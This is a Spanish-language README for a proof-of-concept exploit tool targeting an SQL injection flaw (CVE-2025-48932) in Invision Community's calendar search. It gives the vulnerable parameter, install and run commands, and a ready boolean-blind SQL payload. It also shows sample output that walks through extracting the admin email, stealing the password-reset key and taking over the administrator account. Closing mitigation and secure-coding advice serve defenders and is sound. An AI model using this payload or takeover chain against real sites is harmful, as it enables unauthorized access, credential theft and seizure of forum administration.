Explotación de inyección SQL en Invision Community (CVE-2025-48932)

Un exploit de prueba de concepto que demuestra una vulnerabilidad de inyección SQL en Invision Community versiones <= 4.7.20.

⚠️ Descargo de responsabilidad

Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.

• El acceso no autorizado a sistemas informáticos es ILEGAL
• Utilice esta herramienta únicamente en sistemas que le pertenezcan o para los que tenga permiso explícito por escrito para realizar pruebas
• El autor NO ES RESPONSABLE de ningún mal uso o daño causado por esta herramienta
• Está destinada únicamente a investigadores de seguridad, pentesters y fines educativos

📋 Tabla de contenidos

• Vulnerability Description
• Requirements
• Installation
• Usage
• How It Works
• Mitigation
• Credits
• References

🔍 Descripción de la vulnerabilidad

CVE ID: CVE-2025-48932
Gravedad: Alta
Puntuación CVSS: Por determinar
Versiones afectadas: Invision Community 4.x anteriores a 4.7.21

La vulnerabilidad existe en el script /applications/calendar/modules/front/calendar/view.php. La entrada del usuario transmitida a través del parámetro de solicitud location en el método IPS\calendar\modules\front\calendar\view::search() no se sanea adecuadamente antes de utilizarse en consultas SQL.

Esto permite a atacantes remotos no autenticados:

• Extraer datos sensibles de la base de datos
• Leer credenciales de administrador
• Potencialmente lograr la toma de control de la cuenta de administrador

Requisitos previos para la explotación:

• La aplicación Calendar debe estar instalada
• La función GeoLocation (como Google Maps) debe estar configurada

Nota: Mientras que las vulnerabilidades de inyección SQL en Invision Community 4.x versiones < 4.7.18 podían conducir a la toma de control de la cuenta de administrador y a la ejecución remota de código (RCE) mediante el restablecimiento de la contraseña de administrador, la versión 4.7.18 introdujo una nueva clave de cifrado de seguridad en el mecanismo de restablecimiento de contraseña, lo que dificulta este vector de ataque.

📦 Requisitos

• Python 3.7 o superior
• pip (gestor de paquetes de Python)
• Conexión a Internet
• Sistema objetivo que ejecute Invision Community <= 4.7.20 con:
  • Aplicación Calendar instalada
  • Función GeoLocation configurada

🚀 Instalación

1. Clonar el repositorio:

   root@kitploit:~

   git clone https://github.com/yourusername/invision-sqli-exploit.git
   cd invision-sqli-exploit
   

2. Instalar las dependencias:

   root@kitploit:~

   pip install -r requirements.txt
   

💻 Uso

Uso básico

python invision-sqli-exploit.py -u http://target.com/forum/

Modo verboso (para depuración)

python invision-sqli-exploit.py -u https://example.com/community/ -v

Argumentos de línea de comandos

Ejemplo de salida

==================================================
Invision Community <= 4.7.20 SQL Injection Exploit
CVE-2025-48932
==================================================
Target: http://example.com/forum/
==================================================

[*] Fetching CSRF token...
[+] CSRF token found: abc123def456...
[*] Step 1: Extracting admin email address...
[*] Extracting data: [email protected]
[+] Admin email: [email protected]

[!] Step 2: Manual action required!

Please follow these steps:
1. Navigate to: http://example.com/forum/index.php?/lostpassword/
2. Request a password reset using email: [email protected]
3. Press ENTER when done...

[*] Step 3: Extracting password reset validation key...
[*] Extracting data: xyz789abc123...
[+] Reset key: xyz789abc123...
[*] Step 4: Resetting admin password...

==================================================
[+] EXPLOITATION SUCCESSFUL!
==================================================

Admin credentials:
  Email:    [email protected]
  Password: Pwned1721234567

You can now login at: http://example.com/forum/index.php?/login/

🔬 Cómo funciona

El exploit funciona en cuatro pasos principales:

1. Extracción del token CSRF

El script primero obtiene un token CSRF del sitio web objetivo, que es necesario para las solicitudes posteriores.

2. Inyección SQL ciega basada en booleano

Mediante un algoritmo de búsqueda binaria, el exploit extrae datos de la base de datos carácter por carácter:

• Prueba cada carácter usando consultas SQL condicionales
• Usa la función RLIKE con patrones de expresiones regulares para detectar condiciones verdaderas/falsas
• Los mensajes de error indican condiciones exitosas

3. Extracción del correo electrónico del administrador

Consulta la tabla core_members para extraer la dirección de correo electrónico del administrador.

4. Explotación del restablecimiento de contraseña

• El atacante inicia manualmente un restablecimiento de contraseña para la cuenta de administrador
• El exploit extrae la clave de validación del restablecimiento de contraseña de la base de datos
• Usa la clave de validación para restablecer la contraseña de administrador sin acceso al correo electrónico

Detalles técnicos

Punto de inyección:

location parameter → calendar/view.php → search() method

Ejemplo de payload:

'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR((SELECT email FROM core_members WHERE member_id=1),1,1))<128,0x28,0x31)))#

Técnica de explotación: Inyección SQL ciega basada en booleano mediante búsqueda binaria para una extracción de datos eficiente.

🛡️ Mitigación

Para usuarios

Acciones inmediatas:

1. Actualice a la versión 4.7.21 o posterior - Esta versión corrige la vulnerabilidad
2. Desactive la aplicación Calendar si no está en uso
3. Supervise los registros de acceso para detectar actividad sospechosa
4. Revise las cuentas de administrador para detectar accesos no autorizados

Para desarrolladores

Prácticas de codificación segura:

1. Use consultas parametrizadas / sentencias preparadas - Nunca concatene la entrada del usuario en consultas SQL
2. Validación de entradas - Valide y sanea todas las entradas del usuario
3. Principio de mínimo privilegio - Los usuarios de la base de datos deben tener los permisos mínimos necesarios
4. Firewall de aplicaciones web (WAF) - Implemente reglas WAF para detectar intentos de inyección SQL
5. Auditorías de seguridad periódicas - Realice revisiones de código y pruebas de penetración de forma regular

Ejemplo de código seguro:

// Vulnerable code
$location = $_REQUEST['location'];
$query = "SELECT * FROM events WHERE location = '$location'";

// Secure code
$location = $_REQUEST['location'];
$query = $db->prepare("SELECT * FROM events WHERE location = ?");
$query->execute([$location]);

📅 Cronología de divulgación

👏 Créditos

Desarrollador:

• nanda

Nota: Esta es una implementación independiente basada en información de vulnerabilidad divulgada públicamente (CVE-2025-48932)

📚 Referencias

• Detalles de CVE-2025-48932
• Sitio oficial de Invision Community
• EDB-ID: 52383

📝 Licencia

Este proyecto está licenciado bajo la Licencia MIT; consulte el archivo LICENSE para obtener más detalles.

🤝 Contribuciones

¡Las contribuciones son bienvenidas! No dude en enviar un Pull Request. Para cambios importantes, abra primero un issue para discutir lo que le gustaría cambiar.

⚖️ Aviso legal

Esta herramienta se distribuye bajo la Licencia MIT. Al utilizar este software, usted acepta:

1. Usarla únicamente con fines de pruebas legales y autorizadas
2. Asumir toda la responsabilidad por sus acciones
3. No responsabilizar al autor por ningún mal uso o daño
4. Cumplir con todas las leyes y regulaciones aplicables

Recuerde: El acceso no autorizado a sistemas informáticos es un delito en la mayoría de las jurisdicciones y puede acarrear graves consecuencias legales.

Si descubre una vulnerabilidad de seguridad, notifíquela de forma responsable al proveedor antes de hacerla pública.